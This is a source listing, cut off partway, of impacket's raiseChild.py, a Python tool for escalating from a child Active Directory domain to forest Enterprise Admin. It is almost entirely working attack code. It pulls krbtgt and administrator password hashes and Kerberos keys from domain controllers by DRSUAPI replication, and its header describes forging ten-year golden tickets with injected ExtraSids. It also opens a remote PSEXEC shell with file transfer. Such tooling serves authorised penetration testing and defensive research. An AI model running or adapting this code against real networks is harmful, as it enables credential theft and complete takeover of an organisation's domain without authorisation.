github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/impacket/examples/raiseChild.py (about)

     1  #!/usr/bin/env python
     2  # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
     3  #
     4  # This software is provided under under a slightly modified version
     5  # of the Apache Software License. See the accompanying LICENSE file
     6  # for more information.
     7  #
     8  # Author: Alberto Solino (@agsolino)
     9  #
    10  # Description:
    11  #   This script implements a child-domain to forest privilege escalation
    12  #   as detailed by Sean Metcalf (@PyroTek3) at https://adsecurity.org/?p=1640. We will
    13  #   be (ab)using the concept of Golden Tickets and ExtraSids researched and implemented
    14  #   by Benjamin Delpy (@gentilkiwi) in mimikatz (https://github.com/gentilkiwi/mimikatz).
    15  #   The idea of automating all these tasks came from @mubix.
    16  #
    17  #   The workflow is as follows:
    18  #       Input:
    19  #           1) child-domain Admin credentials (password, hashes or aesKey) in the form of 'domain/username[:password]'
    20  #              The domain specified MUST be the domain FQDN.
    21  #           2) Optionally a pathname to save the generated golden ticket (-w switch)
    22  #           3) Optionally a target to PSEXEC with Enterprise Admin privieleges to (-target-exec switch)
    23  #
    24  #       Process:
    25  #           1) Find out where the child domain controller is located and get its info (via [MS-NRPC])
    26  #           2) Find out what the forest FQDN is (via [MS-NRPC])
    27  #           3) Get the forest's Enterprise Admin SID (via [MS-LSAT])
    28  #           4) Get the child domain's krbtgt credentials (via [MS-DRSR])
    29  #           5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array
    30  #              and setting expiration 10 years from now
    31  #           6) Use the generated ticket to log into the forest and get the krbtgt/admin info
    32  #           7) If file was specified, save the golden ticket in ccache format
    33  #           8) If target was specified, a PSEXEC shell is launched
    34  #
    35  #       Output:
    36  #           1) Forest's krbtgt/admin credentials
    37  #           2) A golden ticket saved in ccache for future fun and profit
    38  #           3) PSExec Shell with Enterprise Admin privileges at target-exec parameter.
    39  #
    40  #   IMPORTANT NOTE: Your machine MUST be able to resolve all the domains from the child domain up to the
    41  #                   forest. Easiest way to do is by adding the forest's DNS to your resolv.conf or similar
    42  #
    43  #   E.G:
    44  #   Just in case, Microsoft says it all (https://technet.microsoft.com/en-us/library/cc759073(v=ws.10).aspx):
    45  #     A forest is the only component of the Active Directory logical structure that is a security boundary.
    46  #     By contrast, a domain is not a security boundary because it is not possible for administrators from one domain
    47  #     to prevent a malicious administrator from another domain within the forest from accessing data in their domain.
    48  #     A domain is, however, the administrative boundary for managing objects, such as users, groups, and computers.
    49  #     In addition, each domain has its own individual security policies and trust relationships with other domains.
    50  #
    51  #
    52  from __future__ import division
    53  from __future__ import print_function
    54  import argparse
    55  import datetime
    56  import logging
    57  import random
    58  import string
    59  import sys
    60  import os
    61  import cmd
    62  import time
    63  from threading import Thread, Lock
    64  from binascii import unhexlify, hexlify
    65  from socket import gethostbyname
    66  from struct import unpack
    67  from six import PY3
    68  
    69  try:
    70      import pyasn1
    71  except ImportError:
    72       logging.critical('This module needs pyasn1 installed')
    73       logging.critical('You can get it from https://pypi.python.org/pypi/pyasn1')
    74       sys.exit(1)
    75  from impacket import version
    76  from impacket.krb5.types import Principal, KerberosTime
    77  from impacket.krb5 import constants
    78  from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS, KerberosError
    79  from impacket.krb5.asn1 import AS_REP, AuthorizationData, AD_IF_RELEVANT, EncTicketPart
    80  from impacket.krb5.crypto import Key, _enctype_table, _checksum_table, Enctype
    81  from impacket.dcerpc.v5.ndr import NDRULONG
    82  from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED
    83  from pyasn1.codec.der import decoder, encoder
    84  from pyasn1.type.univ import noValue
    85  from impacket.examples import logger
    86  from impacket.ntlm import LMOWFv1, NTOWFv1
    87  from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED
    88  from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE
    89  from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx
    90  from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES, LSAP_LOOKUP_LEVEL, hLsarLookupSids
    91  from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS
    92  from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \
    93      PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \
    94      PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, VALIDATION_INFO
    95  from impacket.dcerpc.v5 import transport, drsuapi, epm, samr
    96  from impacket.smbconnection import SessionError
    97  from impacket.nt_errors import STATUS_NO_LOGON_SERVERS
    98  from impacket.smbconnection import SMBConnection, smb
    99  from impacket.structure import Structure
   100  from impacket.examples import remcomsvc, serviceinstall
   101  
   102  ################################################################################
   103  # HELPER FUNCTIONS
   104  ################################################################################
   105  
   106  class RemComMessage(Structure):
   107      structure = (
   108          ('Command','4096s=""'),
   109          ('WorkingDir','260s=""'),
   110          ('Priority','<L=0x20'),
   111          ('ProcessID','<L=0x01'),
   112          ('Machine','260s=""'),
   113          ('NoWait','<L=0'),
   114      )
   115  
   116  class RemComResponse(Structure):
   117      structure = (
   118          ('ErrorCode','<L=0'),
   119          ('ReturnCode','<L=0'),
   120      )
   121  
   122  RemComSTDOUT         = "RemCom_stdout"
   123  RemComSTDIN          = "RemCom_stdin"
   124  RemComSTDERR         = "RemCom_stderr"
   125  
   126  lock = Lock()
   127  
   128  class PSEXEC:
   129      def __init__(self, command, username, domain, smbConnection, TGS, copyFile):
   130          self.__username = username
   131          self.__command = command
   132          self.__path = None
   133          self.__domain = domain
   134          self.__exeFile = None
   135          self.__copyFile = copyFile
   136          self.__TGS = TGS
   137          self.__smbConnection = smbConnection
   138  
   139      def run(self, addr):
   140          rpctransport = transport.SMBTransport(addr, filename='/svcctl', smb_connection=self.__smbConnection)
   141          dce = rpctransport.get_dce_rpc()
   142          try:
   143              dce.connect()
   144          except Exception as e:
   145              logging.critical(str(e))
   146              sys.exit(1)
   147  
   148          global dialect
   149          dialect = rpctransport.get_smb_connection().getDialect()
   150  
   151          try:
   152              unInstalled = False
   153              s = rpctransport.get_smb_connection()
   154  
   155              # We don't wanna deal with timeouts from now on.
   156              s.setTimeout(100000)
   157              if self.__exeFile is None:
   158                  installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc())
   159              else:
   160                  try:
   161                      f = open(self.__exeFile)
   162                  except Exception as e:
   163                      logging.critical(str(e))
   164                      sys.exit(1)
   165                  installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f)
   166      
   167              installService.install()
   168  
   169              if self.__exeFile is not None:
   170                  f.close()
   171  
   172              # Check if we need to copy a file for execution
   173              if self.__copyFile is not None:
   174                  installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile))
   175                  # And we change the command to be executed to this filename
   176                  self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command
   177  
   178              tid = s.connectTree('IPC$')
   179              fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f)
   180  
   181              packet = RemComMessage()
   182              pid = os.getpid()
   183  
   184              packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
   185              if self.__path is not None:
   186                  packet['WorkingDir'] = self.__path
   187              packet['Command'] = self.__command
   188              packet['ProcessID'] = pid
   189  
   190              s.writeNamedPipe(tid, fid_main, packet.getData())
   191  
   192              # Here we'll store the command we type so we don't print it back ;)
   193              # ( I know.. globals are nasty :P )
   194              global LastDataSent
   195              LastDataSent = ''
   196  
   197              # Create the pipes threads
   198              stdin_pipe = RemoteStdInPipe(rpctransport,
   199                                           r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']),
   200                                           smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, self.__TGS,
   201                                           installService.getShare())
   202              stdin_pipe.start()
   203              stdout_pipe = RemoteStdOutPipe(rpctransport,
   204                                             r'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']),
   205                                             smb.FILE_READ_DATA)
   206              stdout_pipe.start()
   207              stderr_pipe = RemoteStdErrPipe(rpctransport,
   208                                             r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']),
   209                                             smb.FILE_READ_DATA)
   210              stderr_pipe.start()
   211              
   212              # And we stay here till the end
   213              ans = s.readNamedPipe(tid,fid_main,8)
   214  
   215              if len(ans):
   216                  retCode = RemComResponse(ans)
   217                  logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % (
   218                  self.__command, retCode['ErrorCode'], retCode['ReturnCode']))
   219              installService.uninstall()
   220              if self.__copyFile is not None:
   221                  # We copied a file for execution, let's remove it
   222                  s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
   223              unInstalled = True
   224              sys.exit(retCode['ErrorCode'])
   225  
   226          except SystemExit:
   227              raise
   228          except Exception as e:
   229              logging.debug(str(e))
   230              if unInstalled is False:
   231                  installService.uninstall()
   232                  if self.__copyFile is not None:
   233                      s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
   234              sys.stdout.flush()
   235              sys.exit(1)
   236  
   237      def openPipe(self, s, tid, pipe, accessMask):
   238          pipeReady = False
   239          tries = 50
   240          while pipeReady is False and tries > 0:
   241              try:
   242                  s.waitNamedPipe(tid,pipe)
   243                  pipeReady = True
   244              except:
   245                  tries -= 1
   246                  time.sleep(2)
   247                  pass
   248  
   249          if tries == 0:
   250              raise Exception('Pipe not ready, aborting')
   251  
   252          fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80)
   253  
   254          return fid
   255  
   256  class Pipes(Thread):
   257      def __init__(self, transport, pipe, permissions, TGS=None, share=None):
   258          Thread.__init__(self)
   259          self.server = 0
   260          self.transport = transport
   261          self.credentials = transport.get_credentials()
   262          self.tid = 0
   263          self.fid = 0
   264          self.share = share
   265          self.port = transport.get_dport()
   266          self.pipe = pipe
   267          self.permissions = permissions
   268          self.TGS = TGS
   269          self.daemon = True
   270  
   271      def connectPipe(self):
   272          try:
   273              lock.acquire()
   274              global dialect
   275              self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(),
   276                                          sess_port=self.port, preferredDialect=dialect)
   277              user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
   278              self.server.login(user, passwd, domain, lm, nt)
   279              lock.release()
   280              self.tid = self.server.connectTree('IPC$') 
   281  
   282              self.server.waitNamedPipe(self.tid, self.pipe)
   283              self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)
   284              self.server.setTimeout(1000000)
   285          except Exception:
   286              logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
   287  
   288  class RemoteStdOutPipe(Pipes):
   289      def __init__(self, transport, pipe, permisssions):
   290          Pipes.__init__(self, transport, pipe, permisssions)
   291  
   292      def run(self):
   293          self.connectPipe()
   294          while True:
   295              try:
   296                  ans = self.server.readFile(self.tid,self.fid, 0, 1024)
   297              except:
   298                  pass
   299              else:
   300                  try:
   301                      global LastDataSent
   302                      if ans != LastDataSent:
   303                          sys.stdout.write(ans.decode('cp437'))
   304                          sys.stdout.flush()
   305                      else:
   306                          # Don't echo what I sent, and clear it up
   307                          LastDataSent = ''
   308                      # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
   309                      # it will give false positives tho.. we should find a better way to handle this.
   310                      if LastDataSent > 10:
   311                          LastDataSent = ''
   312                  except:
   313                      pass
   314  
   315  class RemoteStdErrPipe(Pipes):
   316      def __init__(self, transport, pipe, permisssions):
   317          Pipes.__init__(self, transport, pipe, permisssions)
   318  
   319      def run(self):
   320          self.connectPipe()
   321          while True:
   322              try:
   323                  ans = self.server.readFile(self.tid,self.fid, 0, 1024)
   324              except:
   325                  pass
   326              else:
   327                  try:
   328                      sys.stderr.write(str(ans))
   329                      sys.stderr.flush()
   330                  except:
   331                      pass
   332  
   333  class RemoteShell(cmd.Cmd):
   334      def __init__(self, server, port, credentials, tid, fid, TGS, share):
   335          cmd.Cmd.__init__(self, False)
   336          self.prompt = '\x08'
   337          self.server = server
   338          self.transferClient = None
   339          self.tid = tid
   340          self.fid = fid
   341          self.credentials = credentials
   342          self.share = share
   343          self.port = port
   344          self.TGS = TGS
   345          self.intro = '[!] Press help for extra shell commands'
   346  
   347      def connect_transferClient(self):
   348          self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
   349                                              preferredDialect=dialect)
   350          user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
   351          self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False)
   352  
   353      def do_help(self, line):
   354          print("""
   355   lcd {path}                 - changes the current local directory to {path}
   356   exit                       - terminates the server process (and this session)
   357   put {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)
   358   get {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir 
   359   ! {cmd}                    - executes a local shell cmd
   360  """ % (self.share, self.share))
   361          self.send_data('\r\n', False)
   362  
   363      def do_shell(self, s):
   364          os.system(s)
   365          self.send_data('\r\n')
   366  
   367      def do_get(self, src_path):
   368          try:
   369              if self.transferClient is None:
   370                  self.connect_transferClient()
   371  
   372              import ntpath
   373              filename = ntpath.basename(src_path)
   374              fh = open(filename,'wb')
   375              logging.info("Downloading %s\\%s" % (self.share, src_path))
   376              self.transferClient.getFile(self.share, src_path, fh.write)
   377              fh.close()
   378          except Exception as e:
   379              logging.error(str(e))
   380              pass
   381  
   382          self.send_data('\r\n')
   383   
   384      def do_put(self, s):
   385          try:
   386              if self.transferClient is None:
   387                  self.connect_transferClient()
   388              params = s.split(' ')
   389              if len(params) > 1:
   390                  src_path = params[0]
   391                  dst_path = params[1]
   392              elif len(params) == 1:
   393                  src_path = params[0]
   394                  dst_path = '/'
   395  
   396              src_file = os.path.basename(src_path)
   397              fh = open(src_path, 'rb')
   398              f = dst_path + '/' + src_file
   399              pathname = f.replace('/','\\')
   400              logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path))
   401              if PY3:
   402                  self.transferClient.putFile(self.share, pathname, fh.read)
   403              else:
   404                  self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read)
   405              fh.close()
   406          except Exception as e:
   407              logging.error(str(e))
   408              pass
   409  
   410          self.send_data('\r\n')
   411  
   412  
   413      def do_lcd(self, s):
   414          if s == '':
   415              print(os.getcwd())
   416          else:
   417              try:
   418                  os.chdir(s)
   419              except Exception as e:
   420                  logging.error(str(e))
   421          self.send_data('\r\n')
   422  
   423      def emptyline(self):
   424          self.send_data('\r\n')
   425          return
   426  
   427      def default(self, line):
   428          if PY3:
   429              self.send_data(line.encode('cp437')+b'\r\n')
   430          else:
   431              self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n')
   432  
   433      def send_data(self, data, hideOutput = True):
   434          if hideOutput is True:
   435              global LastDataSent
   436              LastDataSent = data
   437          else:
   438              LastDataSent = ''
   439          self.server.writeFile(self.tid, self.fid, data)
   440  
   441  class RemoteStdInPipe(Pipes):
   442      def __init__(self, transport, pipe, permisssions, TGS=None, share=None):
   443          Pipes.__init__(self, transport, pipe, permisssions, TGS, share)
   444  
   445      def run(self):
   446          self.connectPipe()
   447          shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share)
   448          shell.cmdloop()
   449  
   450  class RAISECHILD:
   451      def __init__(self, target = None, username = '', password = '', domain='', options = None, command=''):
   452          self.__rid = 0
   453          self.__target = target
   454          self.__kdcHost = None
   455          self.__command = command
   456          self.__writeTGT = options.w
   457          self.__domainSid = ''
   458          self.__doKerberos = options.k
   459          self.__drsr = None
   460          self.__ppartialAttrSet = None
   461          self.__creds = {}
   462  
   463          self.__creds['username'] = username
   464          self.__creds['password'] = password
   465          self.__creds['domain'] = domain
   466          self.__creds['lmhash'] = ''
   467          self.__creds['nthash'] = ''
   468          self.__creds['aesKey'] = options.aesKey
   469          self.__creds['TGT'] =  None
   470          self.__creds['TGS'] =  None
   471  
   472          #if options.dc_ip is not None:
   473          #    self.__kdcHost = options.dc_ip
   474          #else:
   475          #    self.__kdcHost = domain
   476          self.__kdcHost = None
   477  
   478          if options.hashes is not None:
   479              lmhash, nthash = options.hashes.split(':')
   480              self.__creds['lmhash'] = unhexlify(lmhash)
   481              self.__creds['nthash'] = unhexlify(nthash)
   482  
   483          # Transform IP addresses into FQDNs
   484          if self.__target is not None:
   485              self.__target = self.getDNSMachineName(self.__target)
   486              logging.debug('getDNSMachineName for %s returned %s' % (target, self.__target))
   487  
   488      NAME_TO_ATTRTYP = {
   489          'objectSid': 0x90092,
   490          'userPrincipalName': 0x90290,
   491          'sAMAccountName': 0x900DD,
   492          'unicodePwd': 0x9005A,
   493          'dBCSPwd': 0x90037,
   494          'supplementalCredentials': 0x9007D,
   495      }
   496  
   497      ATTRTYP_TO_ATTID = {
   498          'objectSid': '1.2.840.113556.1.4.146',
   499          'userPrincipalName': '1.2.840.113556.1.4.656',
   500          'sAMAccountName': '1.2.840.113556.1.4.221',
   501          'unicodePwd': '1.2.840.113556.1.4.90',
   502          'dBCSPwd': '1.2.840.113556.1.4.55',
   503          'supplementalCredentials': '1.2.840.113556.1.4.125',
   504      }
   505  
   506      KERBEROS_TYPE = {
   507          1:'dec-cbc-crc',
   508          3:'des-cbc-md5',
   509          17:'aes128-cts-hmac-sha1-96',
   510          18:'aes256-cts-hmac-sha1-96',
   511          0xffffff74:'rc4_hmac',
   512      }
   513  
   514      HMAC_SHA1_96_AES256 = 0x10
   515  
   516      def getChildInfo(self, creds):
   517          logging.debug('Calling NRPC DsrGetDcNameEx()')
   518          target = creds['domain']
   519          if self.__doKerberos is True:
   520              # In Kerberos we need the target's name
   521              machineNameOrIp = self.getDNSMachineName(gethostbyname(target))
   522              logging.debug('%s is %s' % (gethostbyname(target), machineNameOrIp))
   523          else:
   524              machineNameOrIp = target
   525  
   526          stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % machineNameOrIp
   527  
   528          rpctransport = transport.DCERPCTransportFactory(stringBinding)
   529  
   530          if hasattr(rpctransport, 'set_credentials'):
   531              rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'],
   532                                           creds['nthash'], creds['aesKey'])
   533              if self.__doKerberos or creds['aesKey'] is not None:
   534                  rpctransport.set_kerberos(True)
   535  
   536          dce = rpctransport.get_dce_rpc()
   537          dce.connect()
   538          dce.bind(MSRPC_UUID_NRPC)
   539  
   540          resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0)
   541          #resp.dump()
   542          return resp['DomainControllerInfo']['DomainName'][:-1], resp['DomainControllerInfo']['DnsForestName'][:-1]
   543  
   544      @staticmethod
   545      def getMachineName(machineIP):
   546          s = SMBConnection(machineIP, machineIP)
   547          try:
   548              s.login('','')
   549          except Exception:
   550              logging.debug('Error while anonymous logging into %s' % machineIP)
   551          else:
   552              s.logoff()
   553          return s.getServerName()
   554  
   555      @staticmethod
   556      def getDNSMachineName(machineIP):
   557          s = SMBConnection(machineIP, machineIP)
   558          try:
   559              s.login('','')
   560          except Exception:
   561              logging.debug('Error while anonymous logging into %s' % machineIP)
   562          else:
   563              s.logoff()
   564          return s.getServerName() + '.' + s.getServerDNSDomainName()
   565  
   566      def getParentSidAndAdminName(self, parentDC, creds):
   567          if self.__doKerberos is True:
   568              # In Kerberos we need the target's name
   569              machineNameOrIp = self.getDNSMachineName(gethostbyname(parentDC))
   570              logging.debug('%s is %s' % (gethostbyname(parentDC), machineNameOrIp))
   571          else:
   572              machineNameOrIp = gethostbyname(parentDC)
   573  
   574          logging.debug('Calling LSAT hLsarQueryInformationPolicy2()')
   575          stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % machineNameOrIp
   576  
   577          rpctransport = transport.DCERPCTransportFactory(stringBinding)
   578  
   579          if hasattr(rpctransport, 'set_credentials'):
   580              rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'],
   581                                           creds['nthash'], creds['aesKey'])
   582              rpctransport.set_kerberos(self.__doKerberos)
   583  
   584          dce = rpctransport.get_dce_rpc()
   585          dce.connect()
   586          dce.bind(MSRPC_UUID_LSAT)
   587  
   588          resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES)
   589          policyHandle = resp['PolicyHandle']
   590  
   591          resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
   592  
   593          domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
   594  
   595          # Now that we have the Sid, let's get the Administrator's account name
   596          sids = list()
   597          sids.append(domainSid+'-500')
   598          resp = hLsarLookupSids(dce, policyHandle, sids, LSAP_LOOKUP_LEVEL.LsapLookupWksta)
   599          adminName = resp['TranslatedNames']['Names'][0]['Name']
   600  
   601          return domainSid, adminName
   602  
   603      def __connectDrds(self, domainName, creds):
   604          if self.__doKerberos is True or creds['TGT'] is not None:
   605              # In Kerberos we need the target's name
   606              machineNameOrIp = self.getDNSMachineName(gethostbyname(domainName))
   607              logging.debug('%s is %s' % (gethostbyname(domainName), machineNameOrIp))
   608          else:
   609              machineNameOrIp = gethostbyname(domainName)
   610          stringBinding = epm.hept_map(machineNameOrIp, drsuapi.MSRPC_UUID_DRSUAPI,
   611                                       protocol='ncacn_ip_tcp')
   612          rpc = transport.DCERPCTransportFactory(stringBinding)
   613          if hasattr(rpc, 'set_credentials'):
   614              # This method exists only for selected protocol sequences.
   615              if creds['TGT'] is not None:
   616                  rpc.set_credentials(creds['username'],'', creds['domain'], TGT=creds['TGT'])
   617                  rpc.set_kerberos(True)
   618              else:
   619                  rpc.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'],
   620                                      creds['nthash'], creds['aesKey'])
   621                  rpc.set_kerberos(self.__doKerberos)
   622          self.__drsr = rpc.get_dce_rpc()
   623          self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
   624          if self.__doKerberos or creds['TGT'] is not None:
   625              self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
   626          self.__drsr.connect()
   627          self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
   628  
   629          request = drsuapi.DRSBind()
   630          request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
   631          drs = drsuapi.DRS_EXTENSIONS_INT()
   632          drs['cb'] = len(drs) #- 4
   633          drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 |\
   634                           drsuapi.DRS_EXT_STRONG_ENCRYPTION
   635          drs['SiteObjGuid'] = drsuapi.NULLGUID
   636          drs['Pid'] = 0
   637          drs['dwReplEpoch'] = 0
   638          drs['dwFlagsExt'] = 0
   639          drs['ConfigObjGUID'] = drsuapi.NULLGUID
   640          drs['dwExtCaps'] = 127
   641          request['pextClient']['cb'] = len(drs.getData())
   642          request['pextClient']['rgb'] = list(drs.getData())
   643          resp = self.__drsr.request(request)
   644  
   645          # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of
   646          # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
   647          drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()
   648  
   649          # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
   650          ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (
   651          len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
   652          drsExtensionsInt.fromString(ppextServer)
   653  
   654          if drsExtensionsInt['dwReplEpoch'] != 0:
   655              # Different epoch, we have to call DRSBind again
   656              if logging.getLogger().level == logging.DEBUG:
   657                  logging.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[
   658                      'dwReplEpoch'])
   659              drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
   660              request['pextClient']['cb'] = len(drs)
   661              request['pextClient']['rgb'] = list(drs.getData())
   662              resp = self.__drsr.request(request)
   663  
   664          self.__hDrs = resp['phDrs']
   665  
   666          # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
   667          resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, domainName, 2)
   668  
   669          if resp['pmsgOut']['V2']['cItems'] > 0:
   670              self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
   671          else:
   672              logging.error("Couldn't get DC info for domain %s" % domainName)
   673              raise Exception('Fatal, aborting')
   674  
   675      def DRSCrackNames(self, target, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
   676                        formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name='', creds=None):
   677          if self.__drsr is None:
   678              self.__connectDrds(target, creds)
   679  
   680          resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
   681          return resp
   682  
   683      def __decryptSupplementalInfo(self, record, prefixTable=None):
   684          # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
   685          plainText = None
   686          for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
   687              try:
   688                  attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
   689                  LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
   690              except Exception as e:
   691                  logging.debug('Failed to execute OidFromAttid with error %s' % e)
   692                  # Fallbacking to fixed table and hope for the best
   693                  attId = attr['attrTyp']
   694                  LOOKUP_TABLE = self.NAME_TO_ATTRTYP
   695  
   696              if attId == LOOKUP_TABLE['supplementalCredentials']:
   697                  if attr['AttrVal']['valCount'] > 0:
   698                      blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
   699                      plainText = drsuapi.DecryptAttributeValue(self.__drsr, blob)
   700                      if len(plainText) < 24:
   701                          plainText = None
   702  
   703          if plainText:
   704              try:
   705                  userProperties = samr.USER_PROPERTIES(plainText)
   706              except:
   707                  # On some old w2k3 there might be user properties that don't
   708                  # match [MS-SAMR] structure, discarding them
   709                  return
   710              propertiesData = userProperties['UserProperties']
   711              for propertyCount in range(userProperties['PropertyCount']):
   712                  userProperty = samr.USER_PROPERTY(propertiesData)
   713                  propertiesData = propertiesData[len(userProperty):]
   714                  if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
   715                      propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
   716                      kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
   717                      data = kerbStoredCredentialNew['Buffer']
   718                      for credential in range(kerbStoredCredentialNew['CredentialCount']):
   719                          keyDataNew = samr.KERB_KEY_DATA_NEW(data)
   720                          data = data[len(keyDataNew):]
   721                          keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
   722  
   723                          if  keyDataNew['KeyType'] in self.KERBEROS_TYPE:
   724                              # Give me only the AES256
   725                              if keyDataNew['KeyType'] == 18:
   726                                  return hexlify(keyValue)
   727  
   728          return None
   729  
   730      def __decryptHash(self, record, prefixTable=None):
   731          logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
   732          rid = 0
   733          LMHash = None
   734          NTHash = None
   735          for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
   736              try:
   737                  attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
   738                  LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
   739              except Exception as e:
   740                  logging.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)
   741                  # Fallbacking to fixed table and hope for the best
   742                  attId = attr['attrTyp']
   743                  LOOKUP_TABLE = self.NAME_TO_ATTRTYP
   744              if attId == LOOKUP_TABLE['dBCSPwd']:
   745                  if attr['AttrVal']['valCount'] > 0:
   746                      encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
   747                      encryptedLMHash = drsuapi.DecryptAttributeValue(self.__drsr, encrypteddBCSPwd)
   748                  else:
   749                      LMHash = LMOWFv1('', '')
   750              elif attId == LOOKUP_TABLE['unicodePwd']:
   751                  if attr['AttrVal']['valCount'] > 0:
   752                      encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
   753                      encryptedNTHash = drsuapi.DecryptAttributeValue(self.__drsr, encryptedUnicodePwd)
   754                  else:
   755                      NTHash = NTOWFv1('', '')
   756              elif attId == LOOKUP_TABLE['objectSid']:
   757                  if attr['AttrVal']['valCount'] > 0:
   758                      objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
   759                      rid = unpack('<L', objectSid[-4:])[0]
   760                  else:
   761                      raise Exception('Cannot get objectSid for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
   762  
   763          if LMHash is None:
